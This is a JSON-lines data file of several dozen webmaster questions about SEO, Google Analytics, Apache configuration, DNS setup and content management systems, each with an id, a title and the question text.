{"id":"1897","title":"Has the time arrived to forget Flash and Use HTML5?","text":"As I read in HTML5 definition it can do anything that Flash can do! and I ask myself is it right to waste my time to learn flash or should I learn HTML5 instead. Does HTML5 Beat Flash in the future? P.S: Are there any thing that you can do in Flash and still are not possible in HTML5?"}
{"id":"1892","title":"Why would you use document.location.protocol instead of plain \/\/ prefixed urls?","text":"For instance Google Analytics uses document.location.protocol in the boilerplate for tracking: <script type=\"text\/javascript\"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-XXXXX-X']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text\/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https:\/\/ssl' : 'http:\/\/www') + '.google-analytics.com\/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); <\/script> instead of <script type=\"text\/javascript\"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-XXXXX-X']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text\/javascript'; ga.async = true; ga.src = '\/\/www.google-analytics.com\/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); <\/script> The ssl. sub-domain is a mute argument as https:\/\/www.google- analytics.com\/ga.js works perfectly well. Knowing Google this most likely is not an oversight. Is there an issue with certain browsers not supporting the \/\/ protocol honouring shorthand or is there something else I'm missing? **EDIT:** This does not just apply to Google Analytics (different sub-domain example). The same thing appears on the Font Loader API page: wf.src = ('https:' == document.location.protocol ? 'https' : 'http') + ':\/\/ajax.googleapis.com\/ajax\/libs\/webfont\/1\/webfont.js';"}
{"id":"13583","title":"Disable serving specific files from web directory based on hostname used","text":"I have very specific problem and I don't even know if I am asking at right place and if it is even possible. I have two domains, lets say domain1.com and domain2.com. Both domains share same root directory. So each file from www.domain1.com\/file_url is accessible also as www.domain2.com\/file_url I am looking for a way, how to disable SOME of the files when requested with domain2.com. But not all of them, but just selected ones. Is it possible to set some \"flag\" or attribute for a file so Apache would recognize it and denied it when requested with domain2.com ? Right now, the only solution which come to my mind is to create PHP script and use rewrite of each file in the directory and implement this \"flag\" checking inside this PHP file. But that would cost a lot of system resources, so I would thought if this could be done else ? **EDIT:** I have forgotten to specify that I am dealing with MANY files ( = thousands ), so I am not able to manually change config file for Apache. And those files are constantly growing since they are user-uploaded. Sorry I forgot to mention this important detail."}
{"id":"45551","title":"Amazon affiliate and multilanguage","text":"I do not know where else to post this question, I hope this StackExchange site is the right one. I have a multi-language site (blog), with several reviews pointing to amazon affiliate product page. My issue is about which country version (.it, .de, .com, and so on) the link should target. The majority of my articles are in italian, and the link point to amazon.it affiliate homepage. As far as I have understood, the various .it, .de, .com, .co.uk version are separated and so are the affiliate programs. Let's say I have an article in English, it could be visited from an Italian, a German, or a US Citizen. Which amazon affiliate page should I link on that page? (Spamming the page with all the links of all the amazon sites does not seem viable, too many links can confuse the user.)"}
{"id":"45554","title":"Google Webmasters Tools - Accidentally changed something and quickly switched back","text":"In Google Webmasters Tools I accidently changed Geotargeting to from _No Preference_ to _United States_. I realized that was a mistake and changed it back within 2 minutes. Will changes take effect or will it be ignored because I changed switched it back so quickly? I'm freaking out because I hope it doesn't destroy all of the indexing \/ SEO. Thanks."}
{"id":"43659","title":"CDN for zocial css file","text":"I am looking to use zocial css file for a site and need to figure out if any CDN hosts this file. If not, I will resort to using the local server (or my own CDN package). I do not think relying on github for this file is the right approach (in the absence of any CDN). I will be happy if anyone else thinks otherwise and shares their thoughts. Thank you!"}
{"id":"34311","title":"browse-able hierarchy vs. sitemap","text":"The current site navigation is done through a search form. UX wise, I feel it's the best solution we can currently offer our uses. Because this is the case, I have a sitemap that covers all the pages (5Million). Will it improve SEO, if I built a browse-able hierarchy that its sole purpose is only to help spiders?"}
{"id":"11721","title":"Ways To Block Your Freedom and Similar Proxies?","text":"Can anyone think of ways to prevent users from registering to a .php page under certain proxies? What would a group of proxies have in similar that might not effect regular users? For example, if you use Your Freedom, and try to access a .php page, is there any common factor that could be used to keep them off that part of the website in particular? I'm not looking for an answer like 'ban by IP' though. All of the IPs used by Your Freedom are from entirely different countries, and there are infinite ways to change the IP range."}
{"id":"43650","title":"Redirects On Image Files to Counter Google Image Gallery","text":"The recent update to the way that Google displays images appears to have resulted in a significant drop in the traffic reaching the actual pages of our website. We are considering potential solutions for enhancing the likelihood of recapturing some of the visitors who now look at our images in the Google gallery and never click through to our site. My questions are these: If we set up a re-direct on the image files via htaccess, what are the potential risks? Would Google stop crawling the image files? Would Google be unable to display the images in their gallery? Any insight that you can offer will be greatly appreciated. Thank you and we look forward to learning from you. Much Peace, Jim"}
{"id":"53115","title":"Can I set www.something.com to be my AName record","text":"I was just hoping someone could point me in the right direction. I want to have my website hosted which I want to display as `www.mydomain.com` I also need `mydomain.com` and `blog.mydomain.com` to go to the same IP. Do I need to create: 1. 1 x AName record for `www.mydomain.com` which points at my server static URL 2. Then create 2 x CName records which both point at `www.mydomain.com` ? Because if thats the way it's done then I want to set a redirect up on my IIS server to 301 to `www.mydomain.com` if it sees the URL as `mydomain.com`. Does this sound okay?"}
{"id":"43654","title":"Provide Search Across Multiple PDFs","text":"I know there are probably many solutions, but what's the easiest and\/or most user friendly way to provide search capabilities across PDF files? I'm thinking of a webpage that links to several PDFs and I want to offer the user the ability to search them all at once."}
{"id":"5165","title":"Paging Google Custom Search via XML","text":"I am trying to set up a custom search on my site and just for testing was checking out the search API's. The trouble is that the API do give me the valid results and total number of items found etc, however when I try to go to second page of the search they do not provide me with any data. Is it because I have to pay for the custom search engine?"}
{"id":"58128","title":"Will your blog rank lower if you remove its comment section?","text":"Yesterday I noticed a warning in my Google Webmaster Tools. It told me that one of the posts on my blog had a slow load time - a post which happened to be by far the most commented on. So, to rectify this, I lowered the maximum number of comments per page to 50 and resubmitted my sitemap. (This means that newer comments appear on a separate 'comments page'.) Now I've noticed that my site has slipped to #2 for my top search term, for which it had ranked #1 for since October '13. So this got me thinking: has my decision to move the newest comments to another page affected it badly? Reduced its freshness, maybe? Or could the negative effect have come from the resubmitting of the sitemap? Edit: Also, just checked. CTR was increasing, as were number of social media shares."}
{"id":"58122","title":"Schema.org: errors on UserComments tags","text":"On my site, http:\/\/whatgoeswiththis.co, I'm getting persistent errors found by Google Webmaster Tools for my markup of UserComments - it's saying that at each instance I'm missing location, name, and startDate (2 times) properties. I didn't see anywhere that these are required, and I don't have geolocation of any users' comments on my site. Is this simply an error I can ignore, or might it be better to simply remove the UserComments markup from my site? Update: it appears from this page that because UserComments is a subcategory of the event property, google seems to require these three fields: https:\/\/support.google.com\/webmasters\/answer\/164506?hl=en&ref_topic=1088474 Perhaps the answer is to use 'comments' property instead? Or just leave as it is? Thanks!"}
{"id":"52774","title":"What to do if Google start to index less pages of your site?","text":"How may I find why Google indexes less webpages in my site? I´ve recently find this:  And I wonder why could make Google index less pages. I´ve then tried the Google help, and it wasn´t that helpful: > A steady increase in the number of crawled and indexed pages indicates that > Google can regularly access your content, and that your site is being > indexed. > > If you see a sudden drop in the number of indexed pages, it may mean that > your server is down or overloaded, or that Google is having trouble > accessing your content. > > To see the percentage of your site that’s accessible to Google, compare the > number of crawled pages with the number of pages blocked by robots.txt. > Sudden spikes or dips that appear in several charts can indicate problems > with site configuration, redirects, or security. Now, on June 3rd Google says: Googlebot can't access your site > Over the last 24 hours, Googlebot encountered 179 errors while attempting to > retrieve DNS information for your site. The overall error rate for DNS > queries for your site is 5.0%. Now, I´ve recently (january 2013) updated my site from Drupal 6 to Drupal 7, and some links were changed. I´ve tried to solve the issue, and after that I´ve followed Google´s instructions: > After you think you've fixed the problem, use Fetch as Google to verify that > Googlebot can properly access your site. I´ve clicked \"fetch as Google\" and it says \"success\" URL and linked pages submitted to index. I´ve clicked on those site errors, and it says: DNS OK Server Connectivity OK Robots.txt Fetch OK So, how may I find issues? Should I go and check out every single page of my site? What if I find a link is broken because I no longer use it?"}
{"id":"65660","title":"How to block a wildcard subdomain in httpd.conf","text":"So I am able to block specific subdomains like this: SetEnvIfNoCase Referer knownsub\\.sorryspammer\\.com sorryspammer <Location \/> Order Allow,Deny Allow from all Deny from env=sorryspammer <\/Location> which does successfully block visits to any site on my server that come from the referrer, knownsub.sorryspammer.com So now, I am getting visits from referrers like 1.sorryspammer.com, 2.sorryspammer.com, 8.sorryspammer.com, 22.sorryspammer.com, etc., and I need to set an environment variable to block any subdomain coming from the referrer domain sorryspammer.com. I know I need to set the same basic rule for the environment variable but with a wildcard for the subdomain part. I've tried a couple of things, most recently this: SetEnvIfNoCase Referer (.*)\\.sorryspammer\\.com sorryspammer but I am still getting visits from referrers from subdomains on sorryspammer.com. I know I'm missing something real simple. Not sure if it matters, but keep in mind that this is not going in an .htaccess file but is going in the httpd.conf file to apply the rules server wide."}
{"id":"20780","title":"apache2 running but doesnt load my index.html","text":"I have a linux server running apache2, I have my own user folder: \/home\/me\/... I added a .htaccess to my folder with: DirectoryIndex index.html in it and the server IP is: 123.456.789.111 I tried: http:\/\/123.456.789.111\/index.html to no avail. I know I probably doing something wrong, I never used apache."}
{"id":"20781","title":"Is there such a thing as an \"exact match subdomain\"?","text":"Google's exact match domain SEO boost is well publicised (including in a recent Stack Exchange podcast). But is there any evidence that an \"exact match subdomain\" gets any kind of boost? I'm talking about the difference between `word.example.com` vs `wordexample.com` (and maybe `word.com\/example`) in a search for \"word example\". (Note: I'm not actually considering using this technique, I just heard someone mention it and am interested if there is any evidence for it.)"}
{"id":"17077","title":"Custom Page for Suspended Website - Plesk","text":"I have suspended a website on Plesk and i want to show users a custom page. Do you guys know how to do it?"}
{"id":"17070","title":"Why am I getting hits to pages with ?fb_xd_fragment=","text":"I have added a Facebook like box and like buttons on my blog and, recently, I've been seeing on analytics a lot of hits to pages ending with `?fb_xd_fragment=`. I've found a related thread on the Facebook Forums which, worryingly, mentions that for some weird reason IE8 users are being redirected to a blank page! This is terrible, am I losing a significant portion of my visitors because when they try to visit my blog they're greeted by a blank page? (I don't have at hand a Windows computer with IE8 to check) Also on a related question on SO, it is suggested to add `xmlns:fb=\"facebook.com\/2008\/fbml\"` to the main `html` tag (which I've done just now), and to add a `channel.html` file. But I can't do the later, because my blog is hosted on blogger and I can't upload html files. So my question is twofold: 1. even after adding the `xmlns:fb`, could this still be an issue that affects IE8 visitors 2. how should I go about to fix it for my blog on blogger?"}
{"id":"42622","title":"Google search showing \"Index of \/. cgi-bin\/\"","text":"I recently decided to leave GoDaddy in choice of NameCheap as my preferred hosting package for my mothers business, I also had to bring my domain name to the guys i register my local domain names. Once I had finally gotten control of my domain name I changed the DNS settings and set up the hosting package and waited for the domain name to resolve.. 24\/48 Hrs (as I wasn't in a big rush) later I went back to check and found it had finally resolved. I then uploaded the old site that used to be hosted with godaddy via ftp to my nameCheap server... However once I had done this I decided to search for my mums business on Google and found it looked like this  So I logged into ftp and found the cgi-bin and deleted it thinking that was the problem.. but still no luck. If you click the link it takes you to index.html perfectly... its just in the search result I have this weird erro, any idea how to fix would be greatly appreciated."}
{"id":"36400","title":"Counting total number of distinct real people that have seen a web page?","text":"What is most accurate method to count total number of distinct real people that have seen a web page? (not number of times that a page is requested). In other word what is your idea to make counting it a little more accurate? What combination of IPs, cookies, or authentication info may be used for this purpose? How we can maintain related data in DB effectively?"}
{"id":"60775","title":"Find origin of the 403 error (not my server)","text":"We are running an Apache server that provides files to several users. Some users are getting the 403 error when trying to access any download url on our Apache. I don't see those 403 errors in our access log. Most of the clients are able access those urls. I'm guessing something between the client and the Apache blocks the connection. How do I found out who that is? Thanks"}
{"id":"60776","title":"Why should we prefer table over div when it comes to emailers?","text":"When it comes to converting designed email templates to html format, how is a table layout better than a div? What are the exact reasons we tend to choose table over div for emailers?"}
{"id":"54982","title":"How to prevent a search engines from indexing a section of a page?","text":"I have many pages with lots of text in it. But I will always have two sections of text and I want to prevent one section from appearing in search results, the other section must be indexed. <p class=\"please-index-me\">text<\/p> <p class=\"get-out\">never index me please<\/p> I thought that maybe if I load the \"please don't index me text\" with JavaScript maybe search engines wouldn't look for it. But I am not sure it would work and this is not really nice. I was wondering if there is a way to tell search engines \"hey, this text you can't grab, move on\". So, is there a way to do it?"}
{"id":"57386","title":"Best way to optimize joomla cache. Difference between Global configuration cache and system cache plugin","text":"I need to know for a Joomla site > there is system cache plugin > > then there is global configuration setting to enable cache - how is it > different from system cache plugin below are some of speed optimization i have already done > Enabled system cache plugin > > ExpiresActive On with ExpiresByType done > > AddOutputFilterByType DEFLATE done My site has mostly database queries been updated in terms of new product listings. Does enabling global configuration conservative cache can also help in reduce loading time (despite face where we have already enabled joomla system cache) How is Global configuration conservative cache different from joomla system cache plugin. What is the difference Thanks"}
{"id":"14918","title":"Google Analytics Subdomain Tracking for WordPress","text":"I'm looking for the best solution to track my website's traffic using Google Analytics. I have a website that (currently) has two subdomains. The subdomains are about very different content, the TLD shows some basic information about me and also shows excerpts from the two underlying subdomains. I'd like to be able to see information for the whole site, but also be able to specify per subdomain. Obviously I'd like to use the more recent Asynchronous Google Analytics script. I couldn't find any decent and more importantly, recent solutions or implementations for this. Any tips or pointers would be appreciated."}
{"id":"52477","title":"Linking out to other websites and SEO","text":"I have searched for this, but couldn't find anyone actually asking this same question. I'd be happy to be pointed to a previous answer though. I have built a one page website that links to other websites to provide people with links to unsubscription pages. So I'm simply linking to those websites directly, however I have now thought that maybe I should be linking to my own website using an SEO optimised URL, that would then redirect to that page. i.e. `www.mywebsite.com\/?site=ebay-uk` which would then redirect to Ebay. I'm not sure this actually makes any difference in terms of link building, but my website being a one page only kind of thing, I figured it could do with some internal linking, but I was just wondering if that would actually make any difference at all. Would anyone be able to answer that?"}
{"id":"33321","title":"Why isn't my site showing on google.com but it's on top of another local Google search results?","text":"I'm trying to figure out why my site doesn't show up on `google.com` (from the United States). Even if I search for the domain name (`mysitename.com`) on `google.com`, the site doesn't show up. The only way to find the site is searching for `mysitename .com` (with a space). However, if I try with a local Google site (spanish language), like `www.google.co.ve`, `www.google.cl`, `www.google.es` or `www.google.mx`, it shows up on top with a little effort. The default site language is english (we also have spanish and portuguese versions). The site is for an office space rental agency in the United States, therefore it should appear on `google.com` search results. I understand that some keywords could be very difficult to rank, but I don't understand why even using the site name, it doesn't show up. I already setup the Google Webmaster Tools and chose the United States as site's target. We use a hosting provider from Venezuela. Could be that the problem? The site is `www.gmtbusinessplace.com`."}
{"id":"58387","title":"I need help with rel=canonical","text":"I have troubles understanding rel=canonical the way google wants me to implement it. I have a job site that uses filters to show subsets of the total job list. Nothing fancy... normal stuff. So if you go to \/jobs you are able to paginate through all of them. You can than apply all sorts of filters like: \/jobs\/new-york or \/jobs?jobs_position_id=3 (I know this is a \"bad\" url. I will change it to show actual words, but this does not change my canonical question) Also there is a search like \/jobs?query=FOO(&job_position_id=3 additional with filters). How should I apply rel=canonical here? I tried some strategies, but I had the feeling Google didn't like it. Right now there is none... Thanks"}
{"id":"34653","title":"No search data in Google Analytics or Webmasters","text":"I have a domain that has been registered in Google Webmasters and using Google Analytics for over 4 months. I get lots of analytics data, but am getting no information on Google searches in Webmasters, or Queries in Search Engine Optimisation in Analytics, even though I am getting keywords for traffic coming to my site from search engines. I have a test sub-domain with the same setup (except not HTTPS) that is getting some of this information through, even with much less data and visits. What could be wrong to stop me getting this information?"}
{"id":"34802","title":"Searching for an online shop accessible via API","text":"I need an online shop with a custom interface (customizing items with Ajax, with a preview included). Writing it myself does not make too much sense (implementing all the payment options etc.), so I would like to use an existing online shop (OpenSource). I would like to build my own UI which, for example, tells the shop to add an item to its cart -- i.e. without using the online shop's native UI. More precisely, it should be an online gallery where the user can directly order an image if he likes it. The final checkout\/payment page can be native again. Is there a shop system that supports this? Or is it still faster to write it on my own? Or are there better options? **Additional information** I have written a JavaScript image gallery. The idea is that when the visitor finds an image he likes, he can then click some _buy now_ button and is then shown a new page where he can see how the picture will look like (different sizes, borders, etc.). Finally the image goes to the shopping cart and the user can proceed to checkout. This is where I would like the online shop system to kick in. Not before, i.e. not in the previous paragraph. **Update** In the meantime, I have found another system that really only provides the API: Moltin. Just in case somebody else is looking for a shopping API."}
{"id":"34803","title":"Creating hosting accounts in WHM on a single IP","text":"I've just purchased a VPS with the hope of transferring multiple shared hosting accounts onto it. The problem is that I've only got 2 IP addresses with my VPS. I can create an account and assign it an IP address, but once I've done this once, I can't do it again. (1 IP address is my main root WHM IP, the other is my new hosting account IP). Can I create multiple hosting accounts and use the same IP? How would I manage multiple hosting accounts in this way? The domain for this hosting account has been purchased by the client, and they hold it (can't transfer for 60 days), so I need to adjust the DNS settings to redirect to my newly created hosting area - how can I do this without a dedicated IP address?"}
{"id":"20568","title":"Help needed with joomla template installation","text":"I got a new template which is bit huge as compared to my connection speed (15mb). When I tried the normal way, couldnt use the upload and install it. Since its doing nothing (time out). Is there any way that I could manually upload via FTP and install the template?"}
{"id":"20564","title":"A homepage consisting of nothing more than a search form and a few words (good\/bad idea?, will it show up in SERP?)","text":"I am working on a portal and for my homepage, I want to present the user with a search form which requires the user to type in a word (or search query) in order to search for information on my site. The page (which happens to be my homepage) has very few words and is actually modelled on Google home page. I am wondering, since Googlebot (and other crawlers) will not type a query and 'submit' it - whether Googlebot will only be seeing an effecively 'blank' page for my homepage - which inevitably, can't be good for SEO. In caqse my assumption of Googlebot seeing a blank page is correct, I have an idea to get around it - but since I am new at this, I would much rather wait and see if someone (more experienced) has a similar (or better idea). Any comments\/advice (pros\/cons) on such an approach as described above?"}
{"id":"20567","title":"Sudden drop in visits on Intranet site (Google Analytics)","text":"We've had Google Analytics running against our Intranet for years now, and on the 12th August 2011 our number of **Visits** went down by a third and remains at the reduced figure daily. It transpired that a change was made to GA on the 11th (http:\/\/code.google.com\/apis\/analytics\/community\/gajs_changelog.html), one of those changes is regarding a session not being closed when users close their browser. Given that everyone in our company has the Intranet site as their home page would this make sense? I'm very close to drawing a conclusion from this change, but I just wanted to see if it's feasible that this would cause this sort of drop?"}
{"id":"34315","title":"Set initial robots.txt restrictions so high, Googlebot won't even try to access the updated less strict file.","text":"When I initially setup my blog I put the restrictions on robots.txt way too high. They were so stick that googlebot can't even access the udated less strict robots file. I've been at this problem for days, I'm in a bind. I will be extremely grateful if someone could help me out."}
{"id":"49153","title":"Testing a website on a local server displays differently to offline","text":"I am currently designing a website and at the moment it is getting quite annoying as the design doesn't seem to be displaying properly when testing it through WAMP in server mode. It displays perfectly well if I simply double click the php file and display it without any server code, however this is also frustrating as I would like to be able to see my server code with my design. I have already cleared the cache, and I still get the same result... Any help on this situation?"}
{"id":"39899","title":"How to set htaccess working on opensuse for codeigniter project","text":"I'm trying to have htaccess work on codeigniter project but the module is not working and I don't know how to enable rewrite module. To have read the htaccess. The OS is Opensuse 12.2. I have this directive in the default-server.conf Alias \/safememoirs\/ \/home\/gabriele\/Web\/safememoirs\/ <Directory \"\/home\/gabriele\/Web\/safememoirs\"> Options Indexes MultiViews AllowOverride None Order allow,deny Allow from all <\/Directory> But I don't understand A how to enable the module B Where should I put the .htaccess directive id in the default-server.conf or in the site directory?"}
{"id":"8817","title":"Best Web Site Copying Software","text":"I just wanted to get some opinions on the best \"web site copying\" software out there (free or commercial is fine). I have a site that I've recently become responsible for managing, and the previous consultant has not provided operating system access. As such, the plan is to re-host the web site. I realize there are a lot of different issues to consider in doing this. However, I don't have much choice in the matter now. The plan is to use web site copying software (ala HTTrack) to \"rip\" the web site, and then modify what is downloaded back in to a maintainable site. This, of course, involves HTML, css, javascript, etc on the front-end. I'd like to recover as much of the site as possible to make re-creating it as easy as possible."}
{"id":"33121","title":"Dynamic php pages getting direct traffic","text":"I just launched a website and for the 1st 30 days was only getting word of mouth traffic with good analytic #s. Bounce rate around 32% and average of 3 minutes visit duration. Now that I've submitted a sitemap, I am getting about 72% bounce rate and only 1 min on the site. The weirdest thing is the direct traffic landing on dynamic php pages is the bulk of the high bounce rate and most of them show 0 seconds for duration. I submitted these dynamic pages in my site map so wondering if someone is using that information and crawling my site???? Example of the dynamic urls: www.example.com\/good-gas-station-new-york-ny.html www.example.com\/bp-gas-station-miami-fl.html Any ideas of what it could be? Should I be worried?"}
{"id":"44603","title":"Hosting a website for 10-20 users","text":"I am thinking about a way to stay in touch with friends from college and many people don't have Facebook\/Twitter\/etc so I wanted to make a very minimal website in which users can login (username \/ password) and post links to websites or just post text. Ideally it would be forum style and I would like to host it from a home computer. I have minimal experience with Ubuntu but think it is possible. Here are my questions: 1. If 20 people log onto a website that I am hosting from a home computer, will that use a lot of my internet bandwidth? 2. Other than a static IP and Apache server, is there anything else I need to install to get going?"}
{"id":"9460","title":"html tag for grouping forms?","text":"I thought I remember seeing this somewhere but maybe not. Isn't there an HTML tag for grouping forms similar to the tag for grouping headers? so for example: <fgroup> <form> <!-- misc. data --> <\/form> <form> <!-- misc. data --> <\/form> <\/fgroup>"}
{"id":"41124","title":"GWT: reporting crawling errors for non existing links","text":"Google Webmaster Tools is reporting crawl errors for links that never existed, and if i check the \"Linked from\" tab for a given error link, it shows another that never existed. They all mention `joomla\/` which is not the cms used on this domain (it's wordpress fyi). Exampled: `http:\/\/example.com\/joomla\/index.php\/component\/user\/register` Linked from: `http:\/\/example.com\/joomla\/component\/user\/login?return=L2######` What is going on? **UPDATE 1** I tried something: I provided one of the faulty urls to the \"Fetch as Google\" functionality. Instead of returning a 404, it returns a 301 to another Joomla page. HTTP\/1.1 301 Moved Permanently Server: Apache\/2.4.3 X-Powered-By: PHP\/5.4.4-10 X-Pingback: http:\/\/example.com\/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: PHPSESSID=1fgr5v2oip39miibuptd51s8h0; path=\/ Set-Cookie: woocommerce_items_in_cart=0; expires=Sat, 12-Jan-2013 11:44:01 GMT; path=\/ Location: http:\/\/example.com\/joomla\/component\/user\/register Content-Type: text\/html; charset=iso-8859-1 Content-Length: 387 Date: Sat, 12 Jan 2013 12:44:01 GMT Via: 1.1 varnish Connection: keep-alive Accept-Ranges: bytes Age: 0 <!DOCTYPE HTML PUBLIC \"-\/\/IETF\/\/DTD HTML 2.0\/\/EN\"> <html><head> <title>301 Moved Permanently<\/title> <\/head><body> <h1>Moved Permanently<\/h1> <p>The document has moved <a href=\"http:\/\/example.com\/joomla\/component\/user\/register\">here<\/a>.<\/p> <p>Additionally, a 301 Moved Permanently error was encountered while trying to use an ErrorDocument to handle the request.<\/p> <\/body><\/html>"}
{"id":"41122","title":"cdn.domain.com indexed by Google. The content is being considered as duplicate content","text":"I am running my website with CodeIgniter framework. I have setup cdn using cname cdn.domain.com which is being indexed by Google. And the content of the both domain.com and cdn.domain.com is having same content and is being considered as duplicated resulting ranking issue. I tried contacting the developer and he was not able to help. I hope there is some way to avoid such issue."}
{"id":"57046","title":"Brand name showing before the title in search results","text":"If we search for our brand name or any keywords that relate to our website, the first words to appear in the title shown in the Google result preview follow this format: `Brand Name: Title` Here's a screenshot:  I am using Yoast WordPress SEO, and each of the pages are not optimized the same as the above result. Here's the WordPress code: <title><?php wp_title('«', true, 'right'); ?> <?php bloginfo('name'); ?><\/title> If we comment out the PHP code inside the title, the page itself has no title then. I wanted to have the title first, followed by the brand name in the search results."}
{"id":"48743","title":"Measurable goals for a new web team\/department?","text":"I'm part of a new web team (the area is new) and we have to define goals. I need to define this goals so they can be measurable maybe monthly and yearly. So my questions is if these goals should be monetary only or quantity of websites reached, both or if there are better parameters than the ones cited? I will be so grateful if you at least can point the right way to find them."}
{"id":"59652","title":"What happens if I try to set a cookie on a bot?","text":"I'm building my site to include some user-identifying cookies. When a visitor chimes in, I will set a cookie with a unique visitor id (a guid) and the date- time of the visit, and save a visit record (including his user-agent, referer (if any), and so on, in my database. I plan to check each user to see if they have the cookie I've set, and then create a visit record each subsequent time they come by, to include if they click any links on my site. The site is very very new (only about a week old as of today), but I've been tracking my visitors in a text log and I see that I can identify visiting bots by their user-agents (the Google and Bing bots\/crawlers have come by, along with a couple of others). It occurs to me that they probably won't accept cookies. Does anyone know this for sure? Or do they also collect cookies in addition to site information?"}
{"id":"6844","title":"How you solve \"preventing common words from Google\" issue?","text":"My topic seems to be solved by stackexchange engine but me (a human) couldn't find a solution here. As you may understand on subject, I have many repeated words on my site like \"comment\", \"like\", \"read more\" and also some system messages like \"mysql_result\",\"error\", \"php\" etc. I saw that my most valuable words are these on Webmaster's Tools. Some people suggests to load those texts from a js file and restrict access to those files. Or using iframes for those text areas. Both have some negative sides, too. I think about another solution which is using images instead of repeated texts but it is neither practical nor seems well. Thank you for suggestions."}
{"id":"6845","title":"How to track outbound links in Google Analytics?","text":"I'm having trouble tracking outbound links from my page. I can see the visits to the page in Google Analytics, but still I can't see what I'm doing wrong (of course I have replaced the UA-XXXX code with my own code). Can anyone spot anything wrong with the below code? One interesting thing is that when I include the tracking function in the `<head>` section, my page doesn't load correctly in Firefox. So, I checked the syntax and all seems ok. I've added this just before the closing `<\/body>` tag: <script type=\"text\/javascript\"> var gaJsHost = ((\"https:\" == document.location.protocol) ? \"https:\/\/ssl.\" : \"http:\/\/www.\"); document.write(unescape(\"%3Cscript src='\" + gaJsHost + \"google-analytics.com\/ga.js' type='text\/javascript'%3E%3C\/script%3E\")); <\/script> <script type=\"text\/javascript\"> try{ var pageTracker = _gat._getTracker(\"UA-XXXX-1\"); pageTracker._trackPageview(); } catch(err) {} <\/script> I have this just before the closing `<\/head>` tag: <script type=\"text\/javascript\"> function recordOutboundLink(link, category, action) { try{ var pageTracker = _gat._getTracker(\"UA-XXXX-1\"); pageTracker._trackEvent(category, action); setTimeout('document.location = \"' + link.href + '\"', 100); } catch(err) {} } <\/script> This is an example of an outbound link: <a href=\"http:\/\/www.blahblah.com\" title=\"blah_site\" target=\"_blank\" onClick=\"recordOutboundLink(this, 'My Outbound Links', 'BLAH');return false;\">blah site<\/a>"}
{"id":"55934","title":"Google search of links:mysite.com returns less links than imagined","text":"I did a Google search `links:mysite.com` and it only returns 3 results. I know there are a lot my more back links in existence than that. Why does Google not show the other links I have to my site?"}
{"id":"53634","title":"Write to an alias directory on Apache","text":"How do I enable writing via PHP to an alias directory. I have the following on my `VirtualHost`: <VirtualHost *:80> ServerName domain.com ServerAlias m.domain.com ...etc AliasMatch ^(.*)\/user\/([a-zA-Z0-9_\\-]+)\/images\/(.*) \"C:\/Apache\/webroot\/user\/$2\/images\/$3\" <Directory \"C:\/Apache\/webroot\/user\"> Options Indexes MultiViews AllowOverride None Order allow,deny Allow from all <\/Directory> <\/VirtualHost> So if I tried to view a file or an image from `m.domain.com` I can see it being fetched from the `alias` directory; however, when I try to write it fails. for example if i tried something like `<?php file_put_contents(\"user\/sam\/images\/sample.png\", $img); ?>` it would fail. Any suggestions or ideas is really appreciated."}
{"id":"29459","title":"Login script with member area\/user","text":"Is there a free script which I can use to: Share some PDF with my partners. But i need the user to reach only those PDFs which they have privileges for. So I need: * login script with registration (i will make the registration if need. So registration function will public) * every user should have their own member area * I will upload PDFs to the specified user areas * when my partners sign in they can see only those PDFs that they have privileges for"}
{"id":"11051","title":"Setting up domain name for google apps domain and google app engine appplication","text":"I have deployed a app or a static web page on comingsoonjoineventus.appspot.com, when the users click joinevenuts.com they should be redirected to the appspot link. But its redirecting to google sites home page of the domain. I check the domain settings in both godaddy and also google domain cpanel. I am not able to figure it out. kindly help me in this regard"}
{"id":"29327","title":"Can I use GMail to manage my emails?","text":"Say I buy a domain `foo.com` - can I easily use GMail to receive and send emails from an address of that domain. For example, `admin@foo.com`? Is this possible or do I have to install a mail server on my VPS? I would prefer something free."}
{"id":"68441","title":"Does Googlebot (and\/or search engines) index a forwarded page?","text":"Let's say I have `example.com` domain, and I force the user to use the HTTPS over HTTP. The question is as browsers just accept and load the forwarded\/new page (when the request for `http:\/\/example.com` -> `https:\/\/example.com`), does the Googlebot (or other search engines) accept the forwarded page and index the new page and just ignore the old page? In other word, does search engines accept HTTPS beside the HTTP?"}
{"id":"2076","title":"'Back button' functionality, how important is it?","text":"It is increasingly common for \"rich\" applications to break the back button. I've always held that this was bad form but perhaps that view is outdated? Is it ever Ok to break the back button? And if so, what are the criteria? * * * **Edit:** To clarify I was more referring to applications where clicking the back button basically just sends you right back where you were. Effectively disabled but not in any way harmful to press."}
{"id":"18250","title":"how can I set my site root from: localhost\/mysite\/ to: localhost\/mysite\/view\/ via htaccess","text":"hi just wondering if this is possible, when you access my default site directory localhost\/mysite I want to set the path to render localhost\/mysite\/view\/ all my html pages will be rendered here just like an php MVC structure can do... is it possible with htacces? I'm an absolute newbie so I apologize if you find this question somehow stupid. thanks so much in advance :)"}
{"id":"18253","title":"About the <link rel=\"index\" \/> tag","text":"I'm trying to figure out how to use it. I understand that this tag tell Google which page is the root parent \/ parent of the current page. So, for example, on a page that's listing a product from a certain category, the `rel=\"index\"` value should be the product category page (the page which lists all products from that category). Am I right? And the index value of that product category page is the \"Products\" page, ie. the page which lists products from all categories (or featured \/ most bought \/ popular products or whatever). Is this how index should be used? If yes, then what if the page which the index points to has `\"noindex, follow\"`, because it serves duplicate content?"}
{"id":"18255","title":"Custom Domain for Tumblr","text":"I am trying to set up a custom domain for my tumblr account. http:\/\/blog.scribeair.com\/ to http:\/\/scribeair.tumblr.com Can some one help me how to set up the DNS records for the subdomain. "}
{"id":"33638","title":"What is the most accessible charting framework for mobile devices?","text":"We are building a finance website and need to chart stocks along an x and y axis and would like to use pinch and zoom interaction to change focus on the charts. What is the most accessible charting framework for mobile devices? We are building for all current generation smart phones and require our users to have JavaScript enabled."}
